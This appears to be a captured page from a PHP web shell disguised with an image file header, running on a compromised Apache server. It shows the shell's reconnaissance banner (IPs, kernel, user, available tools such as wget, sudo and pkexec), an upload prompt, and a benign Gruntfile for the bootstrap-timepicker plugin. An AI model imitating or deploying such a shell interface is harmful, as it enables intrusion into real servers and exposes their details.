����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.135.211.95 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/assets/plugins/bootstrap-timepicker/ |
Upload File : |
module.exports = function(grunt) { 'use strict'; grunt.loadNpmTasks('grunt-contrib-jshint'); grunt.loadNpmTasks('grunt-contrib-jasmine'); grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-contrib-watch'); grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), meta: { project: 'bootstrap-timepicker', version: '0.2.3' }, jasmine: { build: { src : ['spec/js/libs/jquery/jquery.min.js', 'spec/js/libs/bootstrap/js/bootstrap.min.js', 'spec/js/libs/autotype/index.js', 'js/bootstrap-timepicker.js'], options: { specs : 'spec/js/*Spec.js', helpers : 'spec/js/helpers/*.js', timeout : 100 } } }, jshint: { options: { browser: true, camelcase: true, curly: true, eqeqeq: true, eqnull: true, immed: true, indent: 2, latedef: true, newcap: true, noarg: true, quotmark: true, sub: true, strict: true, trailing: true, undef: true, unused: true, white: false, globals: { jQuery: true, $: true, expect: true, it: true, beforeEach: true, afterEach: true, describe: true, loadFixtures: true, console: true, module: true } }, files: ['js/bootstrap-timepicker.js', 'Gruntfile.js', 'package.json', 'spec/js/*Spec.js'] }, less: { dev: { options: { paths: ['css'] }, files: { 'css/bootstrap-timepicker.css': ['less/*.less'] } }, prod: { options: { paths: ['css'], yuicompress: true }, files: { 'css/bootstrap-timepicker.min.css': ['less/*.less'] } } }, uglify: { options: { banner: '/*! <%= meta.project %> v<%= meta.version %> \n' + '* http://jdewit.github.com/bootstrap-timepicker \n' + '* Copyright (c) <%= grunt.template.today("yyyy") %> Joris de Wit \n' + '* MIT License \n' + '*/' }, build: { src: ['<banner:meta.banner>','js/<%= pkg.name %>.js'], dest: 'js/<%= pkg.name %>.min.js' } }, watch: { js: { files: ['js/bootstrap-timepicker.js', 'spec/js/*Spec.js'], tasks: ['jshint', 'jasmine'], options: { livereload: true } }, less: { files: ['less/timepicker.less'], tasks: ['less:dev'], options: { livereload: true } } } }); grunt.registerTask('default', ['jshint', 'jasmine', 'less:dev']); grunt.registerTask('test', ['jasmine', 'jshint']); grunt.registerTask('compile', ['jshint', 'jasmine', 'uglify', 'less:prod']); };